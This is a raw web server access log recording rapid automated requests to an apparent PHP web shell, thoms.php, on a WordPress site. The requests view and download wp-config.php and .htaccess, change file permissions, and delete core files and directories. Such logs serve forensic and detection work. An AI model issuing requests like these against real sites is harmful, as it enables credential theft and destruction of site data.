45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p= HTTP/1.1" 200 12141 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-cron.php HTTP/1.1" 200 14181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?del=wp-activate.php&p=bossini.com.tw HTTP/1.1" 200 17594 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fbridge-archive&p= HTTP/1.1" 200 12154 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?chmod=wp-admin&p=bossini.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?p=bossini.com.tw&view=thoms.php HTTP/1.1" 200 11803 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?chmod=upgrade&p=bossini.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?chmod=wp-login.php&p=bossini.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?p=bossini.com.tw&view=filefuns.php HTTP/1.1" 200 14710 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-config.php HTTP/1.1" 200 13718 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-signup.php HTTP/1.1" 200 22503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=bossini.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?p=bossini.com.tw&view=license.txt HTTP/1.1" 200 20070 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw HTTP/1.1" 200 11462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-signup.php&p=bossini.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13300 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?p=bossini.com.tw&upload= HTTP/1.1" 200 12152 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?chmod=wp-content&p=bossini.com.tw HTTP/1.1" 200 11475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?del=mah.php&p=bossini.com.tw HTTP/1.1" 200 17594 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?del=wp-comments-post.php&p=bossini.com.tw HTTP/1.1" 200 17592 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw HTTP/1.1" 200 11435 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 13719 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?del=wp-links-opml.php&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?chmod=index.php&p=bossini.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?del=readme.html&p=bossini.com.tw HTTP/1.1" 200 17594 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?chmod=wp-includes&p=bossini.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?chmod=.well-known&p=bossini.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?del=wp-blog-header.php&p=bossini.com.tw HTTP/1.1" 200 17596 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ftransfer-sample&p= HTTP/1.1" 200 12152 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 14331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?dl=mah.php&p=bossini.com.tw HTTP/1.1" 200 17522 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?p=bossini.com.tw%2F.well-known HTTP/1.1" 200 12578 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?chmod=mah.php&p=bossini.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fmah.php&p=bossini.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?chmod=wp-settings.php&p=bossini.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?del=xmlrpc.php&p=bossini.com.tw HTTP/1.1" 200 17585 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fxmlrpc.php&p=bossini.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2F.well-known&p= HTTP/1.1" 200 12140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=bossini.com.tw HTTP/1.1" 200 11475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?chmod=wp-config.php&p=bossini.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?p=bossini.com.tw&view=xmlrpc.php HTTP/1.1" 200 13372 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 200 13404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?chmod=filefuns.php&p=bossini.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?dl=error_log&p=bossini.com.tw HTTP/1.1" 200 17593 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?chmod=readme.html&p=bossini.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28980 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?chmod=wp-load.php&p=bossini.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?chmod=.htaccess&p=bossini.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?del=wp-login.php&p=bossini.com.tw HTTP/1.1" 200 17594 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes&p= HTTP/1.1" 200 12143 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?del=thoms.php&p=bossini.com.tw HTTP/1.1" 200 17593 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?dl=wp-signup.php&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?dl=license.txt&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?chmod=locoy.php&p=bossini.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fupgrade&p= HTTP/1.1" 200 12149 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=bossini.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?del=wp-cron.php&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw HTTP/1.1" 200 11462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?del=bridge-archive&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?del=wp-content&p=bossini.com.tw HTTP/1.1" 200 17506 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?chmod=wp-activate.php&p=bossini.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:51 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-login.php HTTP/1.1" 200 29023 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?del=cgi-bin&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Ffilefuns.php&p=bossini.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?del=wp-admin&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?del=index.php&p=bossini.com.tw HTTP/1.1" 200 17582 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?chmod=thoms.php&p=bossini.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?del=wp-config.php&p=bossini.com.tw HTTP/1.1" 200 17594 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config.php&p=bossini.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?p=bossini.com.tw&settings=1 HTTP/1.1" 200 11879 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?chmod=bridge-archive&p=bossini.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?p=bossini.com.tw&view=locoy.php HTTP/1.1" 200 12949 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-links-opml.php&p=bossini.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?del=wp-load.php&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-mail.php HTTP/1.1" 200 15343 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?chmod=license.txt&p=bossini.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?dl=filefuns.php&p=bossini.com.tw HTTP/1.1" 200 17586 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Flicense.txt&p=bossini.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13016 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?dl=wp-login.php&p=bossini.com.tw HTTP/1.1" 200 17594 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?del=wp-mail.php&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?del=upgrade&p=bossini.com.tw HTTP/1.1" 200 17596 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?dl=.htaccess&p=bossini.com.tw HTTP/1.1" 200 17594 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?chmod=wp-cron.php&p=bossini.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?chmod=wp-mail.php&p=bossini.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-settings.php HTTP/1.1" 200 19462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?dl=wp-mail.php&p=bossini.com.tw HTTP/1.1" 200 17585 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?dl=xmlrpc.php&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 13272 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:52 -0400] "GET /thoms.php?del=transfer-sample&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
